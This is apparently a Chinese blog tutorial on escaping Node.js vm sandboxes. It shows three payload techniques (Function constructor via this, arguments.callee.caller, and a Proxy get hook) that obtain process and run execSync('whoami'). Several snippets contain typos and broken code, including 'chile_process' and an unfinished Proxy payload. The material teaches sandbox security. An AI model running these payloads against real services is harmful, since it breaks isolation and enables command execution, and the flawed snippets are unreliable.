• 安全基础 --- nodejs沙箱逃逸


    nodejs沙箱逃逸

    沙箱绕过原理:沙箱内部找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱

    • 前提:使用vm模块,实现沙箱逃逸环境。(vm模式是nodejs中内置的模块,是nodejs提供给使用者的隔离环境)
    • 目的:拿到process模块

    实现沙箱逃逸,拿到目标

    (1)Function构造函数实现

    源代码:
    1. const vm = require('vm');
    2. // 一代沙箱,不安全,有逃逸漏洞
    3. const script = `m + n`;
    4. // 沙箱内引入脚本执行命令
    5. const sandbox = {m:1,n:2};
    6. // 为沙箱中传入对象
    7. const context = new vm.createContext(sandbox);
    8. // 创建沙箱的上下文环境,将沙箱对象传入
    9. const res = vm.runContext(script,sandbox);
    10. // 通过script参数进行沙箱内部的执行
    11. console.log(res);
    引入Function():

    this来引入当前上下文里没有的模块,绕过这个隔离环境

    1. const script = `
    2. const process = this.toString.constructor('return process')()
    3. process.mainModule.require('child_process').execSync('whoami').toString()
    4. `;
    5. // this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,即Function()这个构造函数,构造器中传入字符串类型的代码
    6. // process模块调用mainModule,require用来导入子类的process模块,然后使用execSync执行命令

    问题1:为什么不能使用{}.toString.constructor('return process')(),却使用this?

    {} 是在沙盒内部的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的 {} 无法获取process,因为其本身就无process

    问题2:m和n也是沙盒外的对象,为什么不能用m.toString.constructor('return process')()实现?

    因为 primitive types,数字、字符串、布尔这些都是 primitive types ,他们传递的是值,沙盒内使用的m和外部的m不是同一个m,无法利用。

    1. const sandbox = {m:[],n:{},x:/regexp/}
    2. // 修改后就可利用了
    实现:
    1. const vm = require('vm');
    2. const script = `
    3. const process = this.toString.constructor('return process')()
    4. process.mainModule.require('child_process').execSync('whoami').toString()
    5. `;
    6. const sandbox = {m:[],n:{},x:/regexp/};
    7. const context = new vm.createContext(sandbox);
    8. const res = vm.runInContext(script,context);
    9. console.log(res);

    (2)argument.callee.caller实现

    源代码:

    (在1的基础上,进行修改,使得this无法实现)

    1. const vm = require('vm');
    2. const script = `..`;
    3. const sandbox = Object.create(null);
    4. // 上下文无对象,this指向为空
    5. const res = vm.runInContext(script,context);
    6. // Object.create(null)指向了纯净的空对象,无原型链,无this环境,无任何方式方法。
    7. // 在js中,this指向window;nodejs中的this指向global
    分析:
    1. const sandbox = Object.create(null);
    2. function greet(){
    3. console.log(this);
    4. }
    5. // 此时的this是在sandbox下调用,此时的this指向null
    6. sandbox.greet = greet;
    7. // 将greet赋值给sandbox中的greet属性
    8. sandbox.greet();
    9. // 实现调用

    利用arguments.callee.caller实现

    1. arguments // js中的callee caller 是已经被废弃的属性
    2. //(1) 写个函数实现callee
    3. const factorial = function(n) {
    4. if (n === 0 || n ==== 1){
    5. return 1;
    6. }else{
    7. return n * arguments.callee(n-1);
    8. // 实际上是递归进行传递,arguments.callee(n-1) === factorial(n-1)
    9. }
    10. };
    11. // 1 2 3 5 8 ---- 斐波那契数列
    12. console.log(factorial(5)); // 120
    13. // 5 * factorial(4)
    14. // 5 * 4 * factorial(3)
    15. // 5 * 4 * 3 * factorial(2)
    16. // 5 * 4 * 3 * 2 * 1
    17. // (2) 实现caller
    18. function outer() {
    19. inner();
    20. }
    21. function inner() {
    22. // 函数的父类,谁调用了你,会指向某个调用你的函数。此处打印出的是outer()
    23. console.log(arguments.caller);
    24. }
    25. // 在inner中,arguments.caller是被outer调用
    26. outer();
    27. // undefined

    arguments.callee.caller --- 某个调用你的方法

    实现:
    1. const vm = require('vm');
    2. const script = `(() => {
    3. const a = {}
    4. a.toString = function() {
    5. const cc = arguments.callee.caller;
    6. const p = (cc.constructor('return process'))();
    7. return p.mainModule.require('chile_process').execSync('whoami').toString();
    8. }
    9. return a;
    10. })()`;
    11. // arguments.callee是函数本身,就是function(),加上.caller指向toString方法
    12. // toString方法指向外部,在外部通过拼接字符串进行调用
    13. // 最终toString方法指向沙箱外部
    14. const sandbox = Object.create(null);
    15. const context = new vm.createContext(sandbox);
    16. const res = vm.runInContext(script,context);
    17. console.log('hello' + res); // 通过hello触发
    18. // 在js中,某个东西和字符串拼接,最终会变成一个字符串。'hello' + res --- string(自动调用toString方法)
    19. // 相当于在外部通过hello进行字符串连接,连接了一个函数,最终调用toString方法,这个toString方法就会触发内部的a,触发a的toString方法,利用这个toString和constructor拿到内部的Function,最后返回process对象

    (3)利用ex6的Proxy(代理模式)来劫持外部的get操作

    Proxy可理解为:在目标对象前架设一层“拦截”,外界对该对象的访问,都必须先通过这层拦截,相当于对外界的访问进行过滤和改写。

    例:拦截读取属性行为
    1. var proxy = new Proxy(){
    2. get:function(target,proKey){
    3. return 35;
    4. }
    5. }
    6. proxy.time // 35
    7. proxy.name // 35
    8. proxy.title // 35
    实现:
    1. const vm = require('vm');
    2. const script = `(() => {
    3. const a = new Proxy({},{
    4. get:function(){
    5. const cc = arguments.callee.caller;
    6. cc.constructor('return process')
    7. }
    8. })
    9. })()`;
    10. // 定义代理模式,将代理模式定义为空对象,这个空对象有get方法
    11. const sandbox = Object.create(null);
    12. const context = new vm.createContext(sandbox);
    13. const res = vm.runInContext(script,context);
    14. console.log(res.xxx);
  • 相关阅读:
    【数据结构】二叉树的顺序结构实现及时间复杂度计算(二)
    DataX 数据迁移
    二叉数与广义表互相转换
    运筹帷幄决胜千里,Python3.10原生协程asyncio工业级真实协程异步消费任务调度实践
    算法与数据结构 --- 串,数组和广义表 --- 串
    SS-Model【4】:DeepLabv3
    安装WordPress(个人建站)
    芯片洁净间的等级是如何划分的
    获取商品评论API 返回值说明
    GeoServer安装部署
  • 原文地址:https://blog.csdn.net/weixin_62443409/article/details/133135255